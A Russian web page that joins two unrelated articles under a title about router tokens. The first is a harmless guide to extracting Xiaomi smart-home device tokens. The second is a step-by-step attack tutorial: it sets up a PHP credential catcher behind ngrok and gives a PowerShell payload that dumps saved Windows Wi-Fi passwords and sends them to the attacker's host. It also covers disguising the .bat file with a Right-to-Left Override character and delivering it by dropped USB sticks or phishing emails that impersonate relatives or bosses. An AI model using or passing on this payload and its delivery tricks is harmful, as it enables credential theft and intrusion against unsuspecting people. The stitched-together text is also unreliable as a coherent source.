Аутентификационный токен роутера как узнать

Купив себе лампочки Philips от Xiaomi и увидев существующую инструкцию я слегка опешил и решил поискать способ попроще, и он таки есть! 

Подготовка софта

Для начала нам необходимо установить себе NPM менеджер пакетов, входящий в состав Node.js. Сделать это можно как на MacOS, так и на Windows. Идем сюда, и жмем кнопку «Download Node.js and npm», качаем последнюю стабильную версию для вашей операционной системы (далее буду приводить все действия на MacOS, ибо других у меня к сожалению не водится). Ставим её и переходим к следующему пункту.

Для получения токена нам необходим пакет miio из менеджера NPM. Для его установки открываем terminal.app и пишем следующее:

и ждем завершения процесса установки.

Добыча токена

После установки нашей утилиты подключаемся к WiFi сети, которую создает наше устройство при первичной настройке. Если вы уже добавили устройство в MiHome — его придется сбросить. После подключения к сети WiFi возвращаемся к терминалу и пишем там:

Через некоторое время в выводе команды появится наше устройство с необходимым токеном. Для примера у меня было вот так:

Device ID: 65094693
Model info: philips.light.bulb
Address: 192.168.4.1
Token: 32b98be69c88e631600a33526794738d via auto-token
Support: At least basic

Отключаемся от WiFi устройства и продолжаем его необходимую настройку для добавления в MiHome. Получений токен можно использовать для настройки лампы в HomeBridge или HomeAssistant.

miio — проприетарный шифрованный сетевой протокол для взаимодействия Wi-Fi устройств компании Xiaomi и ее суббрендов с приложением Mi Home в локальной сети. Для интеграции устройств с альтернативными системами автоматизации в подавляющем большинстве случаев необходим token для доступа к устройству. Что бы получить token устройство должно быть привязано к учетной записи Xiaomi в приложении Mi Home.

  • Универсальный способ #1 — Xiaomi cloud token extractor
  • Универсальный способ #2 — модифицированный Mi Home от vevs для Android
  • Универсальный способ #3 — Mi Home v5.4.49 для Android
  • Xiaomi Mi Gateway 2 (DGNWG02LM)
  • Xiaomi Mijia Universal Remote control (MJYKQ01CM)
  • Xiaomi Mijia Bedside Lamp (MJCTD01YL)
  • Xiaomi Mijia 1C Sweeping Vacuum Cleaner (STYTJ01ZHM)
  • Скачать

Универсальный способ #1 — Xiaomi cloud token extractor

Самый простой и быстрый способ получения token’а на данный момент для всех устройств компании Xiaomi использование утилиты Xiaomi cloud token extractor. В случае OS Windows это утилита, в случае использования Unix/Linux это скрипт, написанный на Python. Проект выложен на GitHub.

Для Ubuntu и Raspberry Pi установка Pyton3 и необходимых компонентов будет выглядеть так:

$ sudo apt-get install python3 python3-pip
$ pip3 install pycryptodome pybase64 requests

Скачиваем скрипт:

$ wget https://github.com/PiotrMachowski/Xiaomi-cloud-tokens-extractor/raw/master/token_extractor.py

Запуск скрипта:

$ python3 token_extractor.py

Для Windows скачиваем утилиту с GitHub: https://github.com/PiotrMachowski/Xiaomi-cloud-tokens-extractor/releases/latest/download/token_extractor.exe и запускаем ее.

При запуске утилита/скрипт попросит авторизоваться учетной записью Xiaomi. Необходимы:

  • E-mail или User ID Xiaomi
  • Пароль от учетной записи
  • Выбрать страну привязки устройств, можно оставить пустым, и программа проверит для всех перечисленных стран

Результат:

$ python3 token_extractor.py
Username (email or user ID):
my_xiaomi_mail_or_user_id
Password:
my_xiaomi_password
Country (one of: ru, us, tw, sg, cn, de) Leave empty to check all available:

Logging in...
Logged in.

Devices found for country "cn":
   ---------
   NAME:  Xiaomi Mi Gateway v.2
   ID:    XXXXXXXX
   IP:    192.168.XXX.XXX
   TOKEN: 1234567890abcdef1234567890abcdef
   MODEL: lumi.gateway.v3
   ---------
   NAME:  Mi IR Remote control
   ID:    XXXXXXXXX
   IP:    192.168.XXX.XXX
   TOKEN: 1234567890abcdef1234567890abcdef
   MODEL: chuangmi.remote.v2
   ---------
   NAME:  Miji Robot Vacuum Cleaner 1C
   ID:    XXXXXXXXX
   IP:    192.168.XXX.XXX
   TOKEN: 1234567890abcdef1234567890abcdef
   MODEL: dreame.vacuum.mc1808

Огромным плюсом этого метода является то, что помимо подключенных Wi-Fi устройств, утилита показывает подключенные Bluetooth устройства, подключенные к шлюзам ZigBee устройства, созданные пульты для Mi IR Remote control.

---------
NAME:  Xiaomi Mijia BLE Temperature and Humidity Sensor
ID:    blt.3.ubsv8hlXXXXX
IP:    XXX.XXX.XXX.XXX
TOKEN: 1234567890abcdef123456789
MODEL: cleargrass.sensor_ht.dk1
---------
NAME:  Aqara Smart Wall Socket
ID:    lumi.158d000XXXXXXX
IP:
TOKEN:
MODEL: lumi.ctrl_86plug.aq1

Это удобно использовать для определения ID ZigBee устройств.

Универсальный способ #2 — модифицированный Mi Home от vevs для Android

Mi Home от vevs — модифицированный Mi Home с переводом действий, условий и статусов (русский и английский языки), подробнее в блоге автора.

  • Удаляем оригинальный Mi Home
  • Скачиваем и устанавливаем последнюю версию Mi Home от vevs для Android
  • Запускаем установленное приложение Mi Home
  • Авторизуемся в приложении Mi Home
  • Открываем плагин необходимого устройства
  • Настройки -> Дополнительные настройки -> Информация о сети
  • В самом низу поле «Токен»

miio получение token mihome vevs

Универсальный способ #3 — Mi Home v5.4.49 для Android

Способ достаточно старый, но все еще действенный. Mi Home версии v5.4.49 для Android ведет логи взаимодействия с устройствами, логи хранятся в папке /Smarthome/logs в виде текстовых файлов. Порядок действий следующий:

  • Скачиваем и устанавливаем Mi Home v5.4.49 для Android. Если есть второе устройство, то лучше все операции делать на нем, иначе придется удалить текущую версию Mi Home
  • Запускаем установленное приложение Mi Home
  • Авторизуемся в приложении Mi Home
  • Для надежности открываем необходимое устройство в Mi Home
  • В менеджере файлов переходим в папку /Smarthome/logs
  • Открываем текстовый log файл
  • Просматриваем содержимое log файла, ищем по слову token

В папке может быть несколько текстовых файлов, просматриваем их все или удаляем всё содержимое папки и запускаем Mi Home v5.4.49 заново.

Результат просмотра log файла:

  • Для Xiaomi Mi Gateway v.2 — {"did":"XXXXXXXX","token":"1234567890abcdef1234567890abcdef","longitude":"XX.XXXXXXX","latitude":"XX.XXXXXXX","name":"Xiaomi Mi Gateway v.2",
  • Для Mi IR Remote control — {"did":"XXXXXXXXX","token":"1234567890abcdef1234567890abcdef","longitude":"XX.XXXXXXXX","latitude":"XX.XXXXXXXX","name":"Mi IR Remote control"

Для моего пылесоса Mijia Robot Vacuum Cleaner 1C токен тоже есть в лог файле, но в плагин управления попасть нельзя т.к. не поддерживается версией приложения. Но это не важно, главное результат получить token.

Список устройств и методы с помощью которых мне удалось получить токен.

Xiaomi Mi Gateway 2 (DGNWG02LM)

получить token для xiaomi mi gateway 2

Токен можно получить с помощью методов #1, #2 и #3 описанных выше.

Получить токен для региона Китай можно в программе Mi Home любой версии, пока писал статью на версии Mi Home v5.9.19 обновился плагин для шлюза, из которого похоже вырезали доступ к режиму разработчика. Но в версии Mi Home v.5.8.40 плагин шлюза версии v.2.77.1, для включения режима разработчика и получения сведений он нам сгодится.

  • Скачиваем и устанавливаем Mi Home v5.8.40 для Android. Если есть второе устройство, то лучше все операции делать на нем, иначе придется удалить текущую версию Mi Home
  • Запускаем установленное приложение Mi Home
  • Авторизуемся в приложении Mi Home
  • Открываем плагин шлюза Xiaomi Mi Gateway 2
  • Нажимаем три точки в правом верхнем углу
  • Сведения -> Информация о шлюзе, если пункты меню «Протокол связи локальной сети» и «Информация о шлюзе» отсутствуют, то пять раз нажимаем на пункт Версия плагина: 2.XX.X пока не появятся указанные пункты меню.

xiaomi gateway lan access mi home

Рис. 1

xiaomi gateway developer mode mi home

Рис. 2

xiaomi gateway home assistant

Рис. 3

xiaomi gateway информация о шлюзе

Рис. 4

xiaomi gateway информация о шлюзе token

Рис. 5

Xiaomi Mijia Universal Remote control (MJYKQ01CM)

получить token для xiaomi mijia unversal remote control

Токен можно получить с помощью методов #1, #2 и #3 описанных выше.

Вытащить токен из устройства можно с помощью паяльника и USB2TTL устройства. Для этого отклеиваем нижнюю резиновую противоскользящую вставку, под ней будет четыре болта, откручиваем их. Припаиваем провода к техническим контактам (GND0, TX0, RX0), подключаем шайбу к USB2TTL по схеме:

ВНИМАНИЕ! Автор статьи не несет никакой ответственности за последствия, которые могут произойти при выполнении действий, описанных в данной статье! Всё что вы делаете, вы делаете только на свой страх и риск!

USB-to-TTL Mi IR Remote Control
GND GND0
RX TX0
TX RX0

mi ir remote get token

Подключаем USB2TTL к компьютеру, открываем программу PuTTY, выбираем тип подключения Serial, выставляем COM порт на котором подключен адаптер UART, скорость подключения 115200.

xiaomi ir remote control putty seral port connect

В меню Session -> Logging выставляем вести лог всего что выводится и указываем путь для файла лога. Нажимаем кнопку Open.

putty logging xiaomi ir universal remote control

Подаем штатное питание на устройство, через несколько секунд в PuTTy начнет отображаться информация. Т.к. информация отображается достаточно быстро, то лучше воспользоваться поиском в логе по слову token.

Xiaomi Mijia Bedside Lamp (MJCTD01YL)

mijia bedside lamp token

Из трех альтернативных систем автоматизации, опробованных мной, токен для доступа к лампе требует только OpenHAB. Токен можно получить с помощью методов #1, #2 и #3 описанных выше.

Xiaomi Mijia 1C Sweeping Vacuum Cleaner (STYTJ01ZHM)

mijia vacuum cleaner 1c token

Токен можно получить с помощью методов #1 и #3 описанных выше. Метод #2 тоже рабочий, но я не проверял, в Mi Home v5.9.19 от vevs я не нашел где отображается токен, поэтому рекомендовать его не могу. UPD: В версии Mi Home 6.1.701 от vevs метод #2 рабочий!

Файлы для скачивания

Mi Home v5.8.40 — Формирование ссылки…

Mi Home v5.4.49 — Формирование ссылки…

Взломать Wi-Fi роутер намного проще, чем вы думаете, даже при помощи телефона на базе Android без прав суперпользователя

Автор: tokyoneon

Взломать Wi-Fi роутер намного проще, чем вы думаете, даже при помощи телефона на базе Android без прав суперпользователя. Метод, описываемый в этой статье, не требует брутфорса, ОС Windows для конвертации PowerShell-скриптов в исполняемые EXE-файлы, надежного VPS для перехвата взломанных паролей или Metasploit для разного рода трюков, используемых после эксплуатации уязвимости.

Суть метода

Мы будем использовать бесплатное приложение UserLAnd, позволяющее установить Kali или Debian в ОС Android без необходимости рутинга (получения прав суперпользователя).

Однако утилиты, наиболее часто используемые для взлома Wi-Fi (например, Aircrack-ng), не будут работать с UserLAnd. Для запуска Aircrack-ng нужно переключить беспроводной Android-интерфейс в режим мониторинга, что требует права суперпользователя, но чего нет в UserLAnd. Даже если бы можно было сконфигурировать перехват рукопожатия, использующего шифрование WPA2, брутфорс пароля на Android-устройстве занял бы слишком много времени из-за недостаточной производительности процессора.

Однако есть и другие способы скомпрометировать Wi-Fi пароль. Метод, описываемый в этой статье, требует небольшого анализа и социальной инженерии. Дистрибутив Kali, установленный через приложение UserLAnd, используется для создания полезной нагрузки на базе PowerShell с целью копирования сохраненных Wi-Fi пароли из системы с Windows 10. Расширение файла с полезной нагрузкой будет замаскировано при помощи Unicode для сокрытия истинного типа файла.

Для перехвата Wi-Fi паролей, отсылаемых с целевого компьютера, в Kali (на Android) создается локальный PHP-сервер. Обход переадресации портов и фаерволов осуществляется при помощи сервиса Ngrok, позволяющего сделать локальный PHP-сервер доступным через интернет. На этот сервер целевая система будет отправлять пароли для Wi-Fi.

Описанного выше более чем достаточно, но самое сложное – заставить жертву кликнуть на вредоносную полезную нагрузку. Подробнее эту тему рассмотрим позже.

Приступаем к работе с UserLAnd

Прежде, чем продолжить, желательно ознакомиться с руководством о том, как превратить Android-телефон в устройство, пригодное для хакинга, без прав суперпользователя. В той заметке даются основы UserLAnd и упоминаются другие аспекты, необходимые для успешной реализации метода, описываемого в этой статье. Нужно установить и настроить UserLAnd, создать новую файловую систему и подключиться к ОС через SSH при помощи ConnectBot (или JuiceSSH или встроенного SSH-клиента).

Шаг 1. Установка программного обеспечения

Необходимо выполнить обновление системы и установить основные программы, как указано в упомянутом мной руководстве, посвященном UserLAnd. Затем можно приступать к установке специфических инструментов, которые понадобятся для реализации нашего метода, а конкретно — Unzip и PHP.

Для установки Unzip используйте команду sudo apt-get install unzip.

apt-get install unzip
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  zip
The following NEW packages will be installed:
  unzip
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 156 kB of archives.
After this operation, 518 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main arm64 unzip arm64 6.0-21 [156 kB]
Fetched 156 kB in 6s (24.5 kB/s)
debconf: delaying package configuration, since apt-utils is not installed
E: Setting in Start via TCSAFLUSH for stdin failed! - tcsetattr (13: Permission denied)
Selecting previously unselected package unzip.
(Reading database ... 13159 files and directories currently installed.)
Preparing to unpack .../unzip_6.0-21_arm64.deb ...
Unpacking unzip (6.0-21) ...
Setting up unzip (6.0-21) ...

Затем введите команду apt-mark hold apache*, чтобы отказаться от некоторых пакетов, связанных с веб-сервером Apache, которые автоматически загружаются во время установки PHP. В этом случае мы не будем засорять систему бесполезными бинарными файлами и службами и, таким образом, немного ускорим установку.

apt-mark hold apache*
apache2 set on hold.
apache-users set on hold.
apache2-bin set on hold.
apache2-data set on hold.
apache2-utils set on hold.
apache2-doc set on hold.
apache2-suexec-pristine set on hold.
apache2-suexec-custom set on hold.
apache2-dbg set on hold.
apache2-dev set on hold.
apache2-ssl-dev set on hold.
apachedex set on hold.
apacheds set on hold.
apachetop set on hold.

После того как мы отказались от ненужных пакетов, переходим к установке PHP и вводим команду aptget install php.

apt-get install php
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  bzip2 file libapparmor1 libargon2-1 libicu63 libmagic-mgc libmagic1 libsodium23 libxml2 mime-support php-common php7.3 php7.3-cli php7.3-common php7.3-fpm php7.3-json
  php7.3-opcache php7.3-readline psmisc xz-utils
Suggested packages:
  bzip2-doc php-pear
The following NEW packages will be installed:
  bzip2 file libapparmor1 libargon2-1 libicu63 libmagic-mgc libmagic1 libsodium23 libxml2 mime-support php php-common php7.3 php7.3-cli php7.3-common php7.3-fpm php7.3-json
  php7.3-opcache php7.3-readline psmisc xz-utils
0 upgraded, 21 newly installed, 0 to remove and 0 not upgraded.
Need to get 13.6 MB of archives.
After this operation, 58.7 MB of additional disk space will be used.
Do you want to continue? [Y/n]

В конце необходимо перезагрузить Android-устройство. В этом случае мы уже точно будем знать, что все пакеты и обновления для ядра будут работать в системе с Kali, установленной через UserLAnd.

Шаг 2. Настройка PHP-сервера

После перезагрузки устройства запустите приложение UserLAnd и подключитесь к системе с Kali через SSH.

Теперь нам понадобится приложение Screen, позволяющее управлять несколькими терминальными сессиями внутри одной консоли. В нашем случае речь идет об одном и том же Android-устройстве. Приложение Screen умеет «отсоединять» или закрывать окно терминала без потери информации, с которой вы работали во время сессии.

Для запуска приложения введите следующую команду screen.

screen

Затем открываем шелл с правами суперпользователя при помощи команды su.

su

Создаем директорию с именем «phpServer/» при помощи команды mkdir.

mkdir phpServer/

Переходим в созданную директорию, используя команду cd:

cd phpServer/

Создаем файл «index.php» в редакторе nano.

nano index.php

Вставляем в созданный файл следующий PHP-скрипт, сохраняем и выходим из nano. Нажмите Ctrl-x и Enter.

<html>
   <title>PHP Server</title>
   <body>
      <h1>It works!</h1>
      <?php
      $file = date("dHism") . ".credz";
      file_put_contents($file, file_get_contents("php://input"));
      ?>
   </body>
</html>

Этот PHP-скрипт позволяет перехватывать данные и не требует модификации. Когда целевая система на базе Windows 10 отсылает учетные записи для Wi-Fi, этот PHP-сервер сохранит пароли в файле, где в имени будет указана дата, а в качестве расширения – «.credz».

Запускаем PHP-сервер при помощи команды phpS 0.0.0.0:80. Ключ –S отвечает за запуск веб-сервера, встроенного в PHP, а 0.0.0.0 делает доступным сервер на каждом интерфейсе. Номер порта, на котором висит сервер – 80. Этот порт используется по умолчанию всеми веб-серверами и браузерами.

php -S 0.0.0.0:80
PHP 7.3.0-2 Development Server started
Listening on http://0.0.0.0:80
Document root is /home/user/phpServer
Press Ctrl-C to quit.

Для выхода (или отсоединения) сессии, запущенной в приложении Screen без остановки PHP-сервера, нажмите Ctrla, а затем d.

Шаг 3. Проверка работоспособности PHP-сервера

Есть два способа проверить, что PHP-сервер продолжает работать в фоновом режиме. Например, можно использовать curl для отправки на сервер некоторых данных, эмулирующих Wi-Fi пароль.

curl --data "password: qwerty12345" http://127.0.0.1:80

Затем при помощи команды ls посмотрите, какие файлы появились в директории phpServer/.

ls -l phpServer/
-rw-r--r--. 1 root root  217 Jan  9 00:10 index.php
-rw-r--r--. 1 root root    0 Jan  9 00:15 0900151501.credz
 

Смотрим содержимое файлов с расширением .credz при помощи команды cat.

cat phpServer/*.credz
password: qwerty12345

Второй способ проверки работоспособности сервера – команда netstat и браузера на Android-устройстве.

netstat -luptn | grep -i php
tcp        0      0 0.0.0.0:2080            0.0.0.0:*               LISTEN      14128/php

Обратите внимание, что PHP висит на 2080, а не на 80 порту, как было указано в одной из предыдущих команд. По каким-то причинами при открытии портов в операционных системах, работающих через приложение UserLAnd, в начале добавляется 20. Причины подобного явления до конца не ясны, но для нас сей факт не очень заботит, поскольку сервер Ngrok будет работать нормально.

Открываем браузер в Android и после ввода в адреса 127.0.0.1:2080 должно появиться сообщение «It works!».

Рисунок 1: Сообщение, свидетельствующее о работоспособности PHP-сервера

Если после запуска netstat никаких выходных данных не появилось, скорее всего, PHP-сервер был запущен некорректно или сессия отсоединилась. Возвратитесь к шагу 3 и попробуйте еще раз.

Шаг 5. Создание учетной записи в Ngrok

Ngrok – очень удобный сервис для веб-разработчиков, желающих продемонстрировать свой сайт и протестировать приложения без необходимости заморачиваться с фаерволами или администрированием. Ngrok позволяет сгенерировать доменное имя, связанное с внутренним сервером. Таким образом, разработчики могут быстро протестировать веб-сайты, сделав сервер доступным публично через интернет на некоторое время.

Однако у Ngrok есть один серьезный недостаток. У бесплатных учетных записей есть ограничения, которые могут помешать реализации описываемого метода. После запуска сервера Ngrok генерируется случайный URL, а в бесплатных аккаунтах нет возможности повторного использования или настройки URL’ов. Нужно помнить, что сгенерированный URL должен быть прописан в полезной нагрузке, и, если сервер Ngrok остановится, повторно использовать созданный URL не получится.

Как только URL сгенерирован и прописан в полезной нагрузке, сервер Ngrok не должен быть остановлен ни при каких обстоятельствах. Иначе пароли будут присылаться на несуществующий URL, который нельзя использовать снова. В общем, не останавливайте сервер Ngrok до тех пор, пока все пароли не будут собраны.

Вначале зайдите на страницу регистрации и создайте учетную запись. Вам будет выдан аутентификационный токен (authtoken), который понадобится нам далее.

Рисунок 2: Регистрация в сервисе Ngrok и получение аутентификационного токена

Шаг 5. Загрузка и установка Ngrok

Подключаемся к системе Kali через SSH и создаем новую сессию в приложении Screen.

screen

Инициируем шелл с правами суперпользователя.

su

Затем при помощи wget загружаем архив с Ngrok. Последнюю версию можно посмотреть на странице загрузки (на момент написания статьи последняя версия — 2.2.8).

wget 'https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip'
--2019-01-06 04:39:30--  https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip
Resolving bin.equinox.io (bin.equinox.io)... 34.226.180.131
Connecting to bin.equinox.io (bin.equinox.io)|34.226.180.131|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5063444 (4.8M) [application/octet-stream]
Saving to: 'ngrok-2.2.8-linux-arm64.zip'
 
ngrok-2.2.8-linux-arm64.zip                 100%[==============>]   4.83M   293KB/s    in 16s
 
2019-01-06 04:39:52 (306 KB/s) - 'ngrok-2.2.8-linux-arm64.zip' saved [5063444/5063444]

Далее распаковываем архив.

unzip ngrok-2.2.8-linux-arm64.zip
Archive:  ngrok-2.2.8-linux-arm64.zip
  inflating: ngrok

Ищем бинарный файл ngrok.

ls -l
total 20328
-rwxr-xr-x. 1 root root 15747855 Jul 15  2017 ngrok
-rw-r--r--. 1 root root  5063444 Jan  6 04:39 ngrok-2.2.8-linux-arm64.zip

Во время настройки Ngrok указываем выданный ранее аутентификационный токен, что позволит получить доступ ко всем функциям и связать локальный PHP-сервер с учетной записью. Выполняем команду ngrok с аргументом authtoken.

./ngrok authtoken YourNgrokAuthTokenHere
Authtoken saved to configuration file: /root/.ngrok2/ngrok.yml

Подробнее о доступных аргументах и о том, как работает Ngrok написано в официальной документации.

Шаг 6. Запуск туннеля

Запускаем команду ngrok, чтобы PHP-сервер стал публично доступным.

./ngrok http 80

Здесь я столкнулся с раздражающей ошибкой, приводящей к сбою в Ngrok и пустому экрану в Android. До конца не понятно, где находится проблема: в бинарном файле Ngrok, в приложении Screen / ConnectBot / UserLAnd или где-то еще. Если вы используете встроенный SSH-клиент или JuiceSSH вместо ConnectBot, и ошибка не возникает, значит, проблема связана с SSH.

Если экран замирает во время запуска вышеуказанной команды, нажмите Ctrlc для отмены, а затем Ctrld для завершения сессии в приложении Screen. Далее нужно повторно создать сессию, открыть шелл с правами суперпользователя и запустить команду, указанную ранее. Пробуйте до тех пор, пока все не заработает. Если вы знаете причины замирания или методом решения этой проблемы, поделитесь своими знаниями в комментариях.

После успешного запуска Ngrok обратите внимание на поле «Forwarding». URL, указанный в этом поле, нужно добавить в полезную нагрузку. Затем отсоедините сессию в Screen без остановки сервера Ngrok, нажав Ctrla, а затем d.

Session Status                 online
Account                               XXXXX XXXXXXXX (Plain: Free)
Version                               2.2.8
Web Interface                  United States (us)
Forwarding                            http://XXXXXX.ngrok.io -> localhost:80
Forwarding                            https://XXXXXX.ngrok.io -> localhost:80
 
Connections                           ttl            opn            rt1            rt5               p50            p90
                                              0              0              0.00    0.00        0.00    0.00

Шаг 7. Проверка работоспособности туннеля

После отсоединения от сессии нужно проверить работоспособность Ngrok и PHP посредством отсылки данных при помощи curl. Не забудьте заменить слово «SUBDOMAIN» на адрес, указанный в поле «Forwarding».

curl --data "ngrok is working!" 'http://SUBDOMAIN.ngrok.io'
<html>
   <title>PHP Server</title>
   <body>
      <h1>It works!</h1>
         </body>
</html>

В случае успешной отправки данных Curl должен вернуть несколько HTML-строк. Используя команду cat, смотрим содержимое созданного файла с расширением .credz.

cat phpServer/*.credz
ngrok is working!

Шаг 8. Создание полезной нагрузки на PowerShell

После выполнения предыдущих шагов у нас появился локальный PHP‑сервер, запущенный в фоновом режиме, для перехвата паролей, отправляемых из целевой системы. Кроме того, у нас есть подключение к сервису Ngrok, чтобы PHP‑сервер был доступен из интернета, и не было необходимости раскрывать IP-адрес нашего Android-устройства.

Теперь для целевой системы нам нужно создать полезную нагрузку на PowerShell, выглядящую примерно так:

Add-Type -AssemblyName System.Web;
 
$ngrokServer = "http://SUBDOMAIN.ngrok.io/index.php";
 
foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\ProgramData\Microsoft\Wlansvc\Profiles","*.xml","AllDirectories")) {
 
 try {
    $oXml = New-Object System.XML.XMLDocument;
    $oXml.Load($path);
    $ssid = $oXml.WLANProfile.SSIDConfig.SSID.Name;
    $netinfo = netsh.exe wlan show profiles name="$ssid" key=clear;
    $pass = (($netinfo | Select-String -Pattern "Key Content") -split ":")[1].Trim();
    $sendData += "SSID: " + ($ssid) + "`n" + "PASSWORD: " + ($pass) + "`n`n";
 } catch {}
 
}
 
Invoke-WebRequest -Uri $ngrokServer -Method 'POST' -Body $sendData;

Скрипт, показанный выше, в цикле проходит по всем сетевым именам (SSID), находящимся на компьютере (найденным в XML-файлах в папке «C:\ProgramData\Microsoft\Wlansvc\Profiles\»), запускает команду netsh для каждого SSID и вытаскивает пароли для Wi-Fi в чистом виде из поля «Key Content».

Затем результаты работы команды netsh парсятся, обнаруженные SSID’ы и пароли соединяются в переменной «$sendData» и отправляются на сервер Ngrok.

Рассмотрим на примере, как работает netsh. Если у вас Windows 10 в терминале введите команду ниже для просмотра паролей:

netsh wlan show profiles name="SSID HERE" key=clear

После запуска команды netsh выдаст информацию, касающуюся Wi-Fi сети, которая в основном является бесполезной. Прокручиваем ниже до строки «Key Content», где указан пароль в открытом виде.

Рисунок 3: Пример работы команды netsh

Ниже показана та же самая полезная нагрузка в однострочном формате:

powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Web; $ngrokServer = \"http://SUBDOMAIN.ngrok.io/index.php\"; foreach ($path in [System.IO.Directory]::EnumerateFiles(\"C:\ProgramData\Microsoft\Wlansvc\Profiles\",\"*.xml\",\"AllDirectories\")) { try { $oXml = New-Object System.XML.XMLDocument; $oXml.Load($path); $ssid = $oXml.WLANProfile.SSIDConfig.SSID.Name; $netinfo = netsh.exe wlan show profiles name=\"$ssid\" key=clear; $pass = (($netinfo | Select-String -Pattern \"Key Content\") -split \":\")[1].Trim(); $sendData += \"SSID: \" + ($ssid) + \"`n\" + \"PASSWORD: \" + ($pass) + \"`n`n\"; } catch {}}; Invoke-WebRequest -Uri $ngrokServer -Method \"POST\" -Body $sendData;"

Сохраняем полезную нагрузку в этом формате в директории /sdcard/Download/ в файле с расширением .bat. Из этой папки файл будет доступен в операционной системе Android для последующих манипуляций.

nano /sdcard/Download/payload.bat

Перед сохранением файла не забудьте заменить «SUBDOMAIN» на содержимое поля Forwarding. В моем случае URL с префиксом https не работал в связке с PHP-сервером, висящем на порту 80. Используйте URL с префиксом http.

Шаг 9. Маскировка расширения BAT

Подделка расширения файла детально рассмотрена в статье «Hack WPA2 Wi-Fi Passwords Using USB Dead Drops».

Я использую имя «payloadfdp.bat» для лучшего понимания сути. Однако в боевых условиях имя файла должно выглядеть более реалистично, например, «passwordtxt.bat» или «secretfdp.bat». Когда дело доходит до социальной инженерии, нужно быть креативным.

В браузере в ОС Anroid откройте таблицу Unicode и скопируйте управляющий символ «Right-to-Left Override» (RLO).

Рисунок 4: Копирование управляющего символа

Затем в Android откройте приложение Download и переименуйте файл payload.bat, вставив скопированный ранее управляющий символ для изменения порядка отображения символов в имени.

Рисунок 5: Переименования имени файла с полезной нагрузкой

Не забывайте, что на самом деле символы будут только отображаться в обратном порядке. Windows 10 будет распознавать файл с расширением .bat и запускать полезную нагрузку.

Шаг 10. Доставка полезной нагрузки в целевую систему

После того как все подготовлено, можно приступить к передаче полезной нагрузки в целевую систему. Ниже рассмотрено два метода, но список далеко не полный. Чем больше известно про жертву, тем более разнообразные тактики могут применяться.

Вариант 1. Через оставленную USB флешку

Этот метод надежный, но может оказаться для вас неподходящим. Для подключения флешки к Android-устройству понадобится OTG-адаптер. Затем полезная нагрузка копируется на носитель, который затем помещается в общественном месте.

Вместо OTG-адаптера можно использовать специальные флешки с разъемами USB-C и USB 3.1, имеющие разъемы для подключения и к компьютеру и к Android-устройству. Если у вас старое устройство, можно воспользоваться флешкой с разъемами Micro-USB и USB 3.0.

С другой стороны, если у вас нет OTG-адаптера и/или вы не готовы расстаться с флешкой, этот метод вам не подойдет. Конечно, если у вас есть свободные денежные средства, то вы можете приобрести устройства, упомянутые выше.

Более подробно этот способ описан в статье «Hack WPA2 Wi-Fi Passwords Using USB Dead Drops» особенно касаемо аспектов социальной инженерии.

Вариант 2. Прикрепление к электронному письму

При реализации этого сценария может понадобится подделка электронного адреса. Если о жертве известна какая-либо информация, можно создать новый аккаунт в Gmail, используя имя и фотографию друзей, родственников и коллег по работе. Затем можно отправить письмо от имени начальника или родственника с просьбой открыть прикрепленный PDF, представляющий собой созданную ранее полезную нагрузку (см. шаг 7).

При отправке полезной нагрузки в виде .bat файла нужно вначале выполнить упаковку в zip-архив. Иначе в браузере имя файла с управляющим символом будет выглядеть некрасиво, что может вызвать подозрения.

Рисунок 6: Имя .bat файла с управляющим символом

Для упаковки файла с Unicode-символом откройте приложение Download, выберите payload.bat и нажмите на кнопку «Compress». По умолчанию в имени архива также будет указан управляющий символ (RLO), что нас не устраивает. Найдите самый последний созданный файл с расширением .pdf. Обратите внимание на строку «piz» в имени (zip в обратном порядке), которая появилась из-за управляющего символа. Поменяйте имя файла на «compressed.zip».

Рисунок 7: Переименование созданного архива

После распаковки архива появится полезная нагрузка payload.bat с управляющим символом (RLO) и поддельным расширением.

Рисунок 8: Распаковка архива

Шаг 11. Доступ к перехваченным учетным записям

Когда жертва кликнет на полезную нагрузку, Windows 10 отошлет все сохраненные пароли на сервер Ngrok, который в свою очередь перенаправит данные на локальный PHP-сервер вашего устройства.

Все пароли будут храниться в файле (или файлах) с расширением .credz в директории phpServer/.

cat ~/phpServer/*.credz
SSID: NETGEAR77
PASSWORD: smoothebreeze161
 
SSID: DeathStar
PASSWORD: UseTheForceDude!
 
SSID: Get your own wifi
PASSWORD: 6(CHo-48Qm6%ae2-7.V4

Шаг 12. Повышение эффективности атаки

Есть множество способов улучшить эффективность подобных удаленных атак. Ниже рассмотрено несколько аспектов, влияющих на успешность реализации.

Всплывающее окно

Когда жертва кликнет на .bat файл, появится всплывающее окно терминала, которое нельзя скрыть в случае использования .bat файла. Это окно будет оставаться на экране в течение нескольких секунд в зависимости от количества паролей, сохраненных на компьютере. Чем больше паролей, тем дольше будет висеть окно.

Сей факт – явный признак, что мы имеем дело с вредоносным файлом. С другой стороны, как только .bat файл выполнится, у жертвы будет мало времени, чтобы остановить процесс, пока все пароли не будут отосланы на ваш сервер. Если скрытность не является жизненно необходимой, полезная нагрузка отработает так, как нужно.

Недостаточная обфускация

Полезная нагрузка отправляется в открытом виде. Для сокрытия кода не используется ни кодирование base64, ни шифрование. Даже не очень технически подкованный пользователь сможет догадаться, что означает URL к серверу Ngrok, команда «Invoke-WebRequest» и строка «PASSWORD». Поскольку сразу же возникнет подозрение о странности происходящего, подобные атаки очень быстро обнаруживаются.

Иконка полезной нагрузки

У файлов с расширением .bat, используемых в качестве средства доставки полезной нагрузки, есть свои достоинства и недостатки. С одной стороны, легко выполнить скрипты, написанные на PowerShell, и обойти антивирус, однако в отличие от EXE- и SCR-файлов, у файлов с расширением .bat нельзя поменять иконку. Соответственно, файл не будет полностью выглядеть как текстовый или pdf, что опять же будет наводить на подозрения и может привести к удалению файла до запуска.

Слабая социальная инженерия

